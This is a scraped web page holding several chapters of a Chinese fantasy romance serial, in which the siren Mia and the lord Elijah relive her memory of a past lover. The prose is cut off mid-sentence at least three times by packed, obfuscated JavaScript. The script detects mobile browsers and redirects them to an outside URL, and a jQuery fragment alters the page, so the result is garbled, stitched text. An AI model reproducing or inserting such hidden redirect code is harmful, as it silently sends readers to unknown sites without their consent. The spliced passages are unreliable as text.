乳白色的池水没有在手掌上留下任何痕迹,“奥修斯岛刚从海底升起来时是一片荒芜,海神在岛的中心撒下一粒种子,生命之树破土而出。第一颗果实坠落在地,在地面砸出了一个小坑,就是你现在看到的池塘。第一只海妖从果实中诞生,她是海妖一族的第一位祭司,也是唯一一位能够直接与神明沟通的祭司,她将神语传授给其他海妖,却发现不是每一只海妖都能学会,甚至对于绝大多数海妖来说,只是听到神语,都会让他们发疯。她从神明那里获得启示,将生命之树的树汁倒进了池塘之中,其他海妖只需要将手伸进去,如果感到了灼烧感,就说明她与神语相斥,灼烧感越强,越无法接触神语。” 白皙的手掌在人类面前晃了晃,“你看,我一点儿感觉也没有,这可是几百年难得一见,所以我理所应当是下一任祭司。” 人类脸色苍白,一言不发地看着她骄傲的神色,忽然捉住了她的手。 米娅吓了一跳,和海妖不太一样的温度从掌心传了过来。 她愣住,忘记了挣开,脸颊渐渐涌起热意。 另一个米娅沉默下来,果然要重新审视一遍自己的记忆,才知道有哪里不对劲,年少时的她只顾着害羞,竟然没发现人类的不对劲。 【更奇怪的不应该是,你竟然也会感到害羞?】 【你不说话,没人拿你当哑巴。】 【我不说话,你还怎么知道在这个男人身上到底发生了什么?】 38. 入梦(三) 在回忆之中,就像米娅能感受到曾经的自己的所有情绪与触感一样,以利亚也能感受到约翰现在的感受。 只是他无从得知,这个男人在想什么。 两股力量在他的身体里叫嚣,其中一股冰冷又神秘,他很熟悉,是渡水者的力量。 这个男人跟别人说自己只是一个普通的水手,但他实际上却是个渡水者,而且力量并不弱小。 名叫迪伦的海妖倒是说对了,他不可信。 至于另一股力量,很熟悉的感觉,如果他能控制自己的身体,想必现在会忍不住捂住胸口,那是跟海妖的力量很接近的一种力量。 在不久之前,当米娅的手伸进他的胸口之时,他曾经深刻地体会过。 只是这一股,更加纯粹,更加接近——本源。 如果他没有猜错,这应该是来自于海神的力量。 【什么意思?】 米娅沉默了很久,直到好奇压倒了她对以利亚的抗拒。 【你这个“亡夫”可不是普通人,他是个渡水者。】 【我知道,那又怎样?】 【看来他后来对你坦白了。】 以利亚的声音中不无遗憾。 【米娅,你知不知道渡水者是怎么出现的?】 米娅皱眉,奥维伊群岛每一个有智慧的生物都听说过,渡水者来源于两百年前天空之劫时消逝的诸神,诸神的神力溢散在天地间,意外进入部分人类体内,这些人类因此拥有了不同寻常的强大力量。 【渡水者的力量皆来自于天空之神伊瑟尔,祂也是创世三神之一。】 天空之神伊瑟尔,米娅记得上一次从他嘴里听到,是在说—— 【你不是说赫尔西家族接受过祂的祝福吗,说祂是创世神之一,是你们家族往自己脸上贴金的说法吧。】 【你们不是也说海神是创世神之一吗?】 【那是事实!不对,你从哪里知道的,我从来没有对你提起过……是尤妮告诉你的?她怎么什么都往外说……】 【尤妮就是那只袭击莱森的海妖吧,她很直率,连小时候也如此。】 【她可是我带出来的。】 【你却一点儿都不直率。】 【……你根本就不了解我,没资格说这话。】 【我倒觉得我已经足够了解你了。】 又扯远了,再说下去简直没完没了。 米娅及时将话题转了回去,【算了,我就暂时相信伊瑟尔是创世神之一吧,就算如此,为什么说渡水者的力量皆来自于他?】 【从前,众神还在大地行走,奥维伊大陆上城邦林立,他们都有各自信奉的主神,城邦之间相互攻伐的背后,都有神明的影子。众神再怎么干涉人类,终究影响有限,期间亦有神明陨落,只在小范围内造成了危害。两百年前,天空之神伊瑟尔忽然陨落,几乎在同一时间,天崩地裂,大陆变为群岛,唯有创世神的陨落,才能造成这样严重的后果。】 这倒是和塞奇的说法一致了。 【赫尔西家族与神明关系亲近,自然有办法确认祂的逝去,而且,还有一个更直接的证据。】 【跟渡水者有关?】 说了这么久,终于说回了最初的问题,渡水者是怎么来的。 【渡水者所倚仗的神力,与天空之神的力量本源,一模一样。】 【如果你说的都是真的,也就是说,天空之神陨落,祂的力量溢散到整个奥维伊群岛,与之力量相契合的人类,吸收了这些力量,因此成为了渡水者?】 【没错。】 米娅沉默,她很想找到以利亚话中的漏洞,但却发现他说得很有道理,这样一来,很多事情都能解释得通了。 难道天空之神伊瑟尔真是创世神之一? 他在两百年前陨落,造成大陆崩裂,想到这个场景,米娅莫名觉得有些熟悉。 【你说的这些,和他有什么关系?】 【天空之神与海神神力本源并不相同,这整座岛都源自海神的力量,两股属于神明的力量碰撞,岂是肉体凡胎能够承受的。】 是这样么。 原来在她不知道的时候,约翰正在经历巨大的痛苦,少年时的她并不细心,也没有那么体贴,她竟然一直没有发现。 仔细一看,没错,人类的额头冒出了冷汗,脸色也很苍白,可她以为是他在海上漂泊了几天,还没恢复过来。 而且即使如此痛苦,人类的眼神依旧温柔,紧抿的嘴唇微微翘起,勉强露出一个笑容,还有和她交握的手,也在竭力控制着不要捏疼了她。 他为什么要握她的手,理由昭然若揭。 两股力量相争,势均力敌,等于两败俱伤,伤的还是他,只有让一方彻底压倒另一方,他才能得以喘息。 他正在汲取米娅手掌上残存的神力。 暧昧的画面,隐藏着无奈的真相。 曾经的她一无所知,竟因此脸红心跳,成为了后来一切错误的开端。 【什么错误?】 【求你了,不要再随便听我的心声。】 她真的会感到难堪。 【不是我想——】 他在心底微微叹息,无奈的语气。 米娅听见了,却想不明白,他这么一个冷心冷情的人,真的会为自己的祈求感到无奈吗? 别说她不懂,以利亚自己也不懂。 他们一起掉入了她的回忆之中,他看到了一个完全不同的她,甚至还要和她一起观看她和另一个人的爱情故事。 一想到这点,莫名的烦躁就涌了上来。 他的骄傲不允许他再为此浪费感情,可是她的难堪仍能激起他心中的不忍。 到底是什么在作祟,他心知肚明。 不能再这样下去。 【如果你希望我听到或者给出回应,就唤我的名字,你的其余想法,我会尽量忽略掉。】 【真的吗?】 米娅惊喜,他怎么突然变得好说话了? 以利亚说:【被动听到你的所有心声,对我来说也是一件很累的事情。】 合理的解释,纵使还有疑惑,米娅也不愿再去细想。 这时,池塘旁边,人类的意图实现了,相斥的力量一家独大,将身体所受的撕扯压了下去。 他从痛苦中走出来,第一眼,看到了海妖少女灿若朝霞的脸庞。 心动大多数时候只在一瞬间。 *** 当天晚上,回忆中的米娅沉沉睡去,很少做梦的她梦里却全是一个人类的身影,他躺在木板上叫她“海妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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俊美的脸看了她很久,勉强解释道:“那支羽毛笔吸了你的血,将你和我带进了你的回忆中,但是不管是人类还是海妖,都不会把每一个细节记得清清楚楚。也就是说,现在这个时刻在你的记忆里无足轻重,也许你只是无知无觉地睡了一觉,既然无足轻重,就没有记忆的束缚,你和我才能暂时掌控这具身体。” 米娅心里仍有一个重要的疑虑,“可是白天发生的事情,我同样早就忘了。” 以利亚冷笑了一声,走到她面前,俯身靠近她,用审视的目光盯着她,“有没有可能,你所谓的遗忘,只是将它紧锁在了记忆最深处,那支笔从来不会随便翻出一段记忆来,这一段记忆,对你来说一定很重要。” 如果真的重要,为什么会遗忘得如此彻底,米娅不知道该不该信他。 男人的脸近在咫尺,放大了看,真是毫无瑕疵,神明的祝福,也是造物主的宠儿,多少人羡慕不来,他却总是一副冷漠的神情。 米娅从前便多有不爽,现在又加了一条——嘴真厉害。 他还是当个哑巴比较好。 她没有退缩,回瞪过去,“那我现在杀了你呢,会怎么样,我能回到现实中去吗?” 她的手掌化作利爪,蓄势待发。 男人没有动,垂眸觑了一眼,居然笑了起来,“你可以试试。” 有诈,一定有诈。 但明知有问题,她还是很想试一试,于是她抬起了手。 指甲刚刚碰到他的衣服,一种奇怪的感觉袭来,像是从地面伸出了无数条锁链,从下往上将她牢牢锁住。 米娅发现自己动不了了。 39. 入梦(四) “你做了什么!”米娅发出愤怒的声音。 “我什么也没做。” 男人摊开手掌,耸耸肩,露出无辜的笑容。 米娅看得一阵恍惚,他也会做这样的动作和表情,这是她没想到的,该不会是附身在约翰身上,受了其影响吧。 那自己呢,不会也要慢慢变成年少时那种单纯天真的蠢货模样吧。 要是能动,她一定会狠狠地打个冷颤。 “那我为什么动不了?”她咬牙切齿,对男人怒目而视。 以利亚将腰弯的更低了,视线几乎与她平行,本来两人就离得足够近,这么一来,他们的脸差点儿就要贴在一起。 一些画面不期然又冒了出来,米娅想后退,无奈完全动不了。 以利亚在看什么,绝对不是她的脸。 根据他眼珠的转动轨迹,像是什么格纹状的东西,但是她没有感觉到自己的脸上有什么。 “我现在就是约翰,你将我杀了,谁来陪你将这场回忆演完?它是不会让这种事发生的。”他一边看一边说,神色沉静得甚至有点儿温柔。 见鬼,她居然会觉得以利亚温柔。 果然还是被曾经的自己影响了。 男人最后将视线落到了她的眼眸,四目相对,深邃的目光深深地望过来。 太近了,近得仿佛眼前只剩了他的眼眸,眸中让人看不透的漩涡随时都会将她吸进去似的。 莫名的力量还在起作用,她连躲开视线也做不到,微风自两人之间的空隙吹过,带来紫因花的香气,柔和恬静。 男人的脸越来越近。 米娅不禁屏住了呼吸。 他难道要吻我? 可是她都动手杀了他了,虽然不知道为什么,没了心脏的他还活着,但动手的事实总不能否认。 难道他连这都不介意? 只差最后一点儿距离了。 “不要——” “找到了。” 两人的声音几乎同时响起,然后又几乎同时莫名其妙地看向对方。 以利亚的手放在了米娅眼睛前方,然后在虚空中一抓。 米娅听到了一连串玻璃碎裂的声音,从眼睛向下,那股束缚她的力量迅速消退,缩回了地底。 她后知后觉,原来他是在帮她,她还以为—— 这回真的脸红了,窘迫的,不是因为害羞。 做完这个动作,以利亚已经主动拉开了和她的距离,“想活着回到现实中去,就别想着杀我,等你的这段回忆演完,自然就出去了。” 他没打算放过她的异样,紧接着又问:“你刚刚说不要,不要怎样?” “哦,我还以为你要杀我呢。”米娅才不会承认她的误解,拨开额前的头发,转了转僵硬的手腕,“这么好的机会,居然不动手,你也会被阻止?还是说,没有我的配合,你也出不去?” 她的刺杀宣告失败,出去之后,再想得手的可能性微乎其微,但如果他们都出不去的话,同归于尽,是她做过的最坏的打算,但也是一种成功。 唯独怕的是,又像冥界中一样,他半点事儿没有,自己却命悬一线。 以利亚看着她脸上的薄红,神色微冷,“我自然有办法出去。” “什么办法?”米娅忙问。 如果可以,她实在不愿将这些已经遗忘了的往事再回忆一遍。 以利亚轻轻一笑,“我为什么要告诉你?” 米娅嘴角一抽,他还好意思觉得她不一样了,他在这回忆里,也一点儿都不像外面那个总是面无表情的领主。 “因为我也想早点出去。”米娅理直气壮,“要是外面有人发现了我们的异常,不就糟了。” 以利亚似乎相信了。 “放心,两边的时间并不对等,如果我们顺利出去,外面最多只过了几个小时,不会有人敢在这个时候靠近高塔。” “怎么样才算顺利呢?”米娅又问。 其实她更想问,回忆什么时候是个头,但以利亚就像知道她的心思一样,打断了她的话,“这个问题,只有那支笔知道,不过我可以保证,一定会有结束的时刻。” 又是这样,她只能倚仗他,何其不公。 米娅低着头沉默半晌,再抬头时,向他露出了一个笑容,“看来我们不得不暂时合作了?” 灿烂明媚,很像刚见到她的时候, 她想通了,既然要合作,何必总是苦大仇深地折磨自己,不如暂时放下两人之间的仇怨,仅仅以合作者的身份相处。 “可以。”以利亚骄矜地点头。 半晌无话,沉默的月亮照耀着沉默的他们。 米娅望着生命之树的树枝出了一会儿神,也许是寂寥的晚风抚平了她内心的焦躁不安,她发现自己竟然能心平气和地问出一个对他们而言十分重要的问题。 “出去之后,你会怎么对我?” 她不是他的对手,可要是拼死一搏,也不是没有逃生的可能。 会走到那一步吗? 以利亚看着她明媚大方的笑容,却想到了白天的她,那个骄傲又羞涩的少女,很难想象,这居然是一个人。 回忆中的时间是群岛历一九九年,那就是十一年前。 十一年间,究竟发生了什么,让她变成了现在的模样,与那个叫约翰的男人有关吗? 在这片回忆里,他的情绪明显丰富了许多,他有所察觉,不是坏事,对他来说甚至是一种解脱。 以利亚居然笑了,不知为何,那个笑容让米娅感到了莫名的心慌。 下一秒,她听到了他的回答,“我从来没想过杀你。” 米娅下意识一哂,“我都那样对你了,你居然还不想杀我,莫非真的喜欢我喜欢到了离不开我的境地?” “米娅,我不喜欢你。”以利亚转身看向远处的天空。 米娅的笑容一僵,她想象中的断然否认,可不是这种否认,她干笑了两声,“哦,我还以为——看来是我自作多情了。是你说的,我让你感到了心跳的感觉,你现在要否认吗?” 嘴上这么说,她心里却不能接受。 她明明记得,她被尤妮所伤的那个早晨,他对卡伦说的话,心跳,没错,他面对她时心跳会异于平常。 他好似能听见她的心声。 米娅忘了,他本就能听到。 “我从不否认,我的心跳会因你不同,但你一直误会了我的意思。”他抓起米娅的手,像白天的情形,然后将她的手放在了自己的胸口,那个米娅绝不陌生的位置,“我和伊瑟尔的力量太过契合,所以才能成为被皇室忌惮的渡水者,可是这股力量也不是没有弊端,它太强大,以至于压制了作为一个人的很多本能,比如心跳。没有心跳我也能活下去,甚至这种状况已经持续很多年了,所以你的刺杀失败了。” 他平静地说:“米娅,你明白了吗,靠近你,我能感受到心跳,是真的心跳,我此前也想不明白,为什么偏偏是你。今天倒是隐约察觉到了,也许是因为你是海妖一族的祭司,这是属于海神的力量与天空之神的力量相互博弈的结果。” 米娅彻底愣住了,掌心感受着他胸腔的鼓动,平缓的,普通的。 在现实之中,他靠近她时,他能感受到属于正常人的心跳,所以从来不近女色的赫尔西岛领主,会破例接近她。 与她的魅力无关,只是因为她能给予他正常人的体验。 她更明白了他的未尽之意,在这场回忆里,他成为了约翰。 和一个普通的渡水者一样,他再度拥有了正常的心跳,不会依赖她的靠近,更不会因为她的靠近而心跳加快。 那个笑容,原来还隐含了别再自作多情的意思。 胸口忽然闷了起来。 米娅眨了眨眼睛,嘴角轻扬,“呵呵,还好还好,幸好你不喜欢我,不然亲人、喜欢的人都想杀你,我都为你感到可悲了。” 她向后退去,将半掩的门扉推开,“还有事吗,做梦做到一半被你吵醒,我打算回去把这个梦做完呢。” 轻描淡写的语气,以利亚呼吸一滞,他几乎就要伸手拦住她了,手指刚刚一动,又捏了起来。 “没有。” 话音未落,砰地一声,木门重重在他眼前关上,美丽的身影彻底消失。 米娅靠着木门站着,听到外面的脚步声越来越远,脸上虚假的笑容再也维持不住,一点点垮了下来。 米娅,你这个蠢货。 她在心里毫不留情地骂自己,又被男人的花言巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991143|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语骗了,你竟然还跟他说你喜欢他,简直是太蠢了。 *** 此后的几个月里,回忆按部就班地重现着十一年前的故事。 奥修斯岛很大,更有很多人类世界没有的新奇事物。 就算有米娅的带领,他们将整个岛逛个遍,也需要很长一段时间。 他们去了老祭司家中,听老祭司唠唠叨叨讲了半天海妖一族的历史,人类差点儿被按头改信海神。 他们在紫因花海中漫步,说到人类世界中的各种花朵,以及它们奇奇怪怪的花语,好奇充满了她明亮的眼眸。 他们在夜晚飞到了生命之树的树冠上,这时海妖少女才知道,原来人类比她想象的要厉害一些,没有翅膀,他居然也可以飞。 但人类说,这个不算飞,只能说是跳跃能力强了点。 生命之树比人类世界最高的建筑还要高好多倍,这可不是跳跃能力强了点儿能解释的。 这时的她还没有沦陷到人类温柔的笑容里,温馨的气氛一变,她将人类的异样告知了老祭司,人类终于承认,他其实是渡水者。 还没有蠢到不能接受的地步。 米娅如此点评曾经的自己。 要是换了现在的她,一定会先质疑,一个人类千方百计混进奥修斯岛,究竟有什么阴谋。 首先,肯定要将他关起来。 曾经的她想不到这一点,老祭司也没有这么做。 尚未被仇恨浸润的海妖们,面对一个传说中的人类渡水者,更多的是好奇,而非警惕。 他们走在路上,时不时就会巧遇几个“路过”的海妖,都是想来见识一下特殊的人类。 海妖少女不胜烦扰之际,老祭司出面一锤定音,既然大家都很好奇,那就满足大家的好奇心,她亲自组织一场活动,内容是—— 米娅跟人类在大家面前打一架。 “啊?” 海妖少女不太愿意,人类看起来也有些疑虑。 “又不是让你们打个你死我活,切磋切磋,点到为止就行。” 老祭司慈祥地笑着,连脸上的皱纹也跟着一起笑,她看起来倒是颇为期待。 海妖少女怀疑她只是因为年纪太大了,奥修斯岛又太冷清,想给自己找点儿乐子,但为了自己耳朵边能清净一点儿,她还是同意了。 这场友好的比试被安排在奥修斯岛边缘靠近海滩的地方,离生命之树最远的位置。 当天,几乎全岛的海妖都跑来围观,有的坐在海滩上,有的飞在半空中,密密麻麻将场地里里外外围了好几层。 海妖少女不禁咋舌,她上一次见到这么多海妖同时出现,还是在老祭司宣布她为继任者的那一天,那是决定海妖一族未来的大事,当然可以理解。 今天算怎么回事? 耳尖目明的海妖少女很快从同族们八卦的眼神和偷笑中察觉到了什么,她断断续续听到了她们谈论人类的英俊相貌,谈论她和人类的关系。 海妖少女脸一黑,她张开羽翼,强大的气流吹动地上的沙尘,糊了正聊得热火朝天的几只海妖一脸。 “啊……米娅,你也太小心眼了吧。” “恼羞成怒了哈哈,看来我们的猜测没错,米娅,你是不是喜欢他?” 海妖少女没有回应,只是将视线投到了对面,人类站在老祭司旁边,正和老祭司说着什么,察觉到她的视线,转头看了过来,对她扬起了一个温柔的笑。 就像几天前她劝他拒绝这件事,他说“没关系”时的笑容一样。 心跳漏跳半拍,脸一热,她赶紧移开了视线。 笑得这么好看,是想让我对他手下留情吗? 在未来,米娅忘了还有这么一场比试,可是看到这一幕,她想了起来,她就是这么一步一步沦陷在男人的笑容里。 对于一个一直待在岛上的海妖少女来说,人类的出现先是勾起了她的好奇,然后他与其他海妖对她要么尊敬要么不服的态度截然不同。 他温柔体贴,他总是会照顾她的心情,他会真诚地夸奖她好看。 所以说,情窦初开的少女怎么能够抵抗得了,米娅不再觉得曾经的自己愚蠢了。 如果男人没有顶着一张以利亚的脸,她都快要重新爱上他了。 40. 入梦(五) 比试结果出乎海妖们的预料。 在她们的认知中,海妖少女自从正式被确定为下一任祭司之后,一直接受着最严苛的训练,对于神语的修习是其中最重要的一项,但绝不是唯一一项。 海妖的力量来源于歌声,她对声音的掌控,同样得到了最好的教导,再加上本就天资聪颖,年纪虽小,却已经是奥修斯岛上除了老祭司之外最厉害的海妖。 所以海妖们起初只是好奇,人类能在海妖少女的攻击下坚持多久。 至于胜负? 那根本没有疑问好吧。 结果与她们的猜想大相径庭。 两人势均力敌,根本分不出胜负,从一开始双方都很克制,到后来双方都动起了真格,时间越拖越久。 最后是老祭司分开了他们。 停手的两人相对而立,都从对方眼中看到了惊讶。 经此一战,海妖们对人类的态度又发生了改变,实力也是赢得尊敬必不可少的一环,连说他们闲话的海妖都变少了。 当天夜里,海妖少女和人类再次来到了生命之树的树冠之上,没有树枝的遮挡,皎洁的明月完整呈现在他们面前。 月光似清泉流淌在发间,少女坐在一片似小船般硕大的树叶之上,托腮看着身旁的人类,她的夸奖从不吝啬,“你比我想象的要厉害好多,你们人类都这么厉害吗?” “并非如此。”人类的声音温柔,他用既怀念又悲伤的语气说起了无尽海之外的世界,“比起你们,大部分人类都是脆弱的,就像我第一次见到你时那样,小小的风暴就能夺去我们的生命。即便是拥有力量的渡水者,也只有少数才称得上强大,我只是侥幸成了其中一员。” 人类又笑,“米娅,你也比我预料得要厉害很多。” 说来也是好玩,他们都觉得对方一定不是自己的对手,于是一开始选择了放水,后来又都发现情况不对劲,真的认真起来,反倒打出了一点儿惺惺相惜的感觉。 “那当然了,我是未来祭司,不厉害怎么保护她们。” 这里是奥修斯岛的最高点,向下眺望,数不清的海妖在岛中的各个角落里,那是她的同族,是她立誓要保护的对象。 但在今天,她产生了前所未有的危机感。 如果连一个人类都无法打败,她真的能保护他们吗? 美丽的笑容忽然黯淡,低落的心绪在夜色中冒了出来,现在还远远不够,她需要更加努力。 这份低落将米娅也感染,曾经的她只是有了模糊的不安,而已经经历了一系列变故的自己,更能体会到这种心情。 她始终做得不够好。 【你倒是喜欢将重担都压在自己身上。】 一开始,她以为是人类在对曾经的自己说话,可是这冷硬嘲讽的语气,哪怕是完全相同的声音,也明显感觉得到不是一个人。 以利亚…… 那晚不欢而散之后,他的声音很少再在心底响起。 【这是我的责任。】 理智告诉她不要理会,但她还是忍不住反驳他。 【你是不会明白的。】 【呵。】 一声冷笑,他的声音再度消失。 “米娅,这不是你一个人的事情,不需要你把一切都承担下来,我相信他们也不愿意。” 米娅差点儿以为以利亚又说话了,不过只是差点儿,这么温柔的声音,他可说不出来,这是人类说的,虽然意思和以利亚说的差不多,就是听着要让人舒服一些。 而且说的时候,他又握住了少女的手。 少女茫然又无措地看着他,“真的吗?” 人类倾身上前,用自己的额头抵住她的,“一个人的力量终究是有限的,你的族人,他们会支持你,会帮你,还有我,我也愿意帮你,集合众人的力量,不管有多大的困难,都能够迎刃而解。” 同样的话,也许老祭司曾经对她说过,但她从没放在心上。 不是不信,而是源于少女天不怕地不怕的自信。 只需要我,就够了。 可是这一刻,她忽然觉得,再多一个人,好像也不是什么坏事。 在她觉得累的时候,有一个人陪着她,在那个人需要休息的时候,她也可以保护他。 只是想到那样的画面,就让她忍不住心情愉悦,嘴角泛起微笑。 人类看到了她的笑容。 米娅也感受到了,她不禁笑了,那是她很多年不曾拥有的纯粹美好,有些怀念。 但是下一瞬她就笑不出来了。 人类放开了少女的手,手臂绕到她的身后,搂紧了她的腰,将她往自己的怀中送,然后低头吻住了她的唇。 一时情动? 还是早有预谋? 少女无心去想,她不仅没有挣扎,而且顺势环住了人类的脖子,微仰着小脸,闭着双眸,生涩地回应起来。 唇上传来的热意几乎要将她淹没。 米娅在心底哀叹,多亏了自己那时闭上了眼睛,她不需要在这个时刻,见到以利亚那张脸。 明明是回忆中的自己在和回忆中的恋人接吻,可是却是以利亚的脸,以利亚的声音,甚至在唇齿间纠缠的气息,也是他的。 就像她是在和他接吻一样。 更重要的是,这么说还真没什么问题,毕竟他也能感受到外界发生的一切,这些温度与触碰,他同样是局内人。 这种感觉太奇怪了。 甜蜜温柔得仿佛带着花香的亲吻结束在孩子的叫声中。 尤妮从树干上爬上来,满头大汗,气喘吁吁。 她还太小,羽翼的力量不够支撑她飞到树顶,所以她是先飞到了树干中段,然后奋力爬上来的。 很累,但她依然中气十足,捂着眼睛,冲着海妖少女大喊:“米娅姐姐,祭司奶奶让我来告诉你,你还没有成年,不能做那种事。” 这一声吼的,吓得海妖少女险些从树冠跌下去。 她就像做坏事被抓住了,猛地推开人类,然后飞到尤妮旁边,帮她把眼睛上漏出一条缝的手指合拢,“不准偷看,还有,你知道什么,没有那种事。” 她用手捂了捂脸,好烫,祭司大人也真是的,怎么能让尤妮一个小孩子来传话。 “不要拿我当小孩子,我什么都知道,你们刚刚就是在做那种事情。”尤妮不满地朝她大叫,“我都看到过好多次了,贝拉姐姐和海曼哥哥他们就像你们刚才那样,他们也不让我看,可是我发现了,那之后,生命之树上结了一个新的果子。” 海妖少女的脸更红了,贝拉和海曼她也认识,一对新婚的海妖夫妇,整天腻在一起。 她该怎么跟尤妮解释,接吻和那种事是不一样的。 向一个想法还停留在接吻就会孕育新生命的小孩子解释这些,也太为难她一个未成年海妖了吧?! “尤妮,请相信我,你的米娅姐姐没有骗你。”相貌英俊的男人走了过来,语调温柔,神情真挚,“如果你不信的话,可以去问祭司奶奶,相信她会为你解惑。” 在他的目光下,好像反驳都成了一种罪恶。 尤妮眨了眨可爱的大眼睛,“那我去问祭司奶奶,米娅姐姐,你能送我下去吗,太高了,我害怕。” 好一招祸水东引。 海妖少女忍着笑,将尤妮拎了下去,看她一蹦一跳的身影向老祭司的屋子跑去,又回到了树顶,她红着脸说:“多亏了你,不然我还真不知道怎么跟她解释。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004045|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 迎接她的是男人古怪的眼神,“米娅,你还没成年?你多大了?” 他不得不承认,就在刚刚,米娅的主动出乎他的意料,要是没有尤妮忽然打断,或许他真的会忍不住吃了她。 但要是米娅未成年,怎么想,他都有点儿禽兽呢。 在如今的群岛之中,不同地区的成年年龄略有不同,但基本都在十六岁左右,最早的有十四岁,最晚的也有二十岁。 海妖少女看上去,与人类十几二十岁的样貌相仿,但海妖终究不是人类,她该不会还很小吧? “什么?年龄么?”海妖少女默默算了算,她不懂人类的纠结,“我今年应该是十九?还是二十来着?我也记不清了,我们海妖不在意这些的。” 还好,也没有小的离谱。 男人有些意外,像是明白了什么,“你们是否成年不是按年龄来看的?” 他的猜想很快从海妖少女的眼神中得到了验证。 她惊讶地看着他,似乎他问了一个奇怪的问题,“成年跟年龄有什么关系?” 她摊开左手手掌,一个蓝色的图腾渐渐在掌心显现,中间是一棵树的形状,周围扭曲的纹路看上去像两只缠绕在一起的飞鸟,鸟喙的部分缺了一角。 “等到图案完整的那一刻,我就成年了,你看,只差一点点了,我有预感,那一天马上就要来了。” 原来是他弄错了,海妖虽然容貌相似,但却有很多不一样的地方。 他伸出手指,试图去触碰那图腾,少女的脸腾得一下红了,却没有躲开。 她不会告诉他,图腾对于一个海妖的重要性,接受他的触碰,约等于—— 【约等于什么?】 【……】 米娅很不想回答他。 她就像是剧院里的观众,看着一出精彩的戏剧,正为其中角色之间的感情而揪心之时,旁边突然响起了一个扫兴的声音,将她酝酿起来的情绪打散。 暧昧的氛围在外面的两人中流转,人类轻轻地拥住了少女,月光下少女染着热意的脸似红玉般莹润动人。 他眼眸一暗,在少女光洁的额头上落下一吻,低柔的声音比美酒还要醉人,“我期待着那一天。” 几乎是明示。 少女的脸更红了,心底却不受控制地暗暗期待起来。 他们在期待什么,米娅和以利亚难道会不知道? 想到刚才那个感受如此真实的吻,米娅的心跳突然快了起来,绝不是因为害羞,而是她想起来了,她差不多就是这个时候成年的。 具体的日子,大概是半个月后。 一个吻尚且如此真实,到时候,曾经的她和曾经的恋人缠绵之时,她和以利亚也要在旁边看着? 不止是看着,而且还能感受到…… 好吧,她现在已经能感受到绝望了。 【你们——】 以利亚似乎想说什么,话刚起了个头,他却放弃了。 过去的几个月里,他们两个虽然也不至于一句话都不说,但每日对话总归不超过两句,倒也算一种默契了。 他不说,米娅只当没有听见。 日子一天天过去,最初的焦虑之后,她逐渐适应了回忆中的一切,甚至因此产生了许多怀念之情。 目之所及的景色,都是她曾无比熟悉的,在奥修斯岛还未沉入海底之前的景色。 宁静美丽,谓之仙境也不为过。 还有回忆中的海妖们,他们不必担惊受怕,也还没有被仇恨与戾气侵染,脸上总是洋溢着笑容。 有时候,米娅会忍不住想,如果一切能一直维持下去就好了。 有时候,她甚至希望,这不是回忆,而是真实的生活。 41. [锁] [此章节已锁] 夜深了,四周一片安静。 米娅躺在自己的小木屋里,望着屋顶发呆。 过去的几个月她总是如此度过,回忆中的她并不会感到疲惫,休息既然不必要,空闲时间也就变得无聊起来。 有时她会想一想出去后该怎么办,只是昨晚想到的策略,到了今晚很有可能又觉得不合适,于是一直也没想出个所以然来。 况且今夜她实在没这个心情。 白天发生的事情一直在脑海中重现,出现次数最多的,就是那个吻。 她和人类青年的开始绝非今天。 说得不好听点儿,他们眉来眼去也不是一天两天的,无论是回忆中的海妖们,还是她这个外来的旁观者,都看得清清楚楚。 像今天这么亲密却是头一遭,不管从哪个角度来说,今天在回忆中都是个重要的日子。 所以她的辗转反侧也是可以理解的吧? 米娅叹了一口气,从床上起来,收拾了一下走出去。 除了重大的节日和庆典,夜晚的奥修斯岛一向安静。 虽然海妖需要的睡眠时间不长,但为了表示对黑夜的尊敬,他们还是会尽可能不去打扰静夜的风鸣。 米娅沿着生命之树的根系向海边走去,穿过紫色的枝叶,当海滩近在咫尺之际,另一个熟悉的人影也映入了眼帘。 “不敢见我么?”在她转身之前,男人的声音从海滩上传了过来。 米娅咬了咬牙,激将法,偏偏她还吃这一套。 她慢吞吞地走过去,“怎么不敢,我是不想见你。” 那一晚后,他们再也没有以这样的方式见过面,他曾经找过她几次,也不知道想说什么,她都避而不见。 明明有最简单直接甚至无法拒绝的沟通方式,但他们都不约而同地没有用,以利亚摸清了她的态度,也不找她了。 米娅想,多亏了他们保持距离,过去的几个月才能毫无波澜地结束。 但此刻他打破了这份默契,是否意味着,他打算做些什么? 以利亚笑了一下。 米娅不会再为他的笑容感到惊奇,约翰顶着他的脸不知笑了多少次,她对此都有些麻木了,只是不免对比一下两人的笑。 一个温柔,一个轻慢,很不相同。 他走近她,“你不敢见我,因为见到我,会提醒你,现在经历的一切都只是一场梦,是已经回不去的过去。” 米娅退后,脚陷进柔软的细沙里,“……不是。” 以利亚握住她的手腕,神情冷淡,“沉湎于过去可是很危险的,不想出去的话,睨大可继续陷得更深。” 好像是在说她的脚,又像在说别的。 米娅一时不知该如何反应,她并非不知好歹,以利亚虽言辞嘲讽,却是在实打实地提醒她,不可耽于回忆。 兴许他听见了自己白天内心的想法。 “我明白。”米娅低声道。 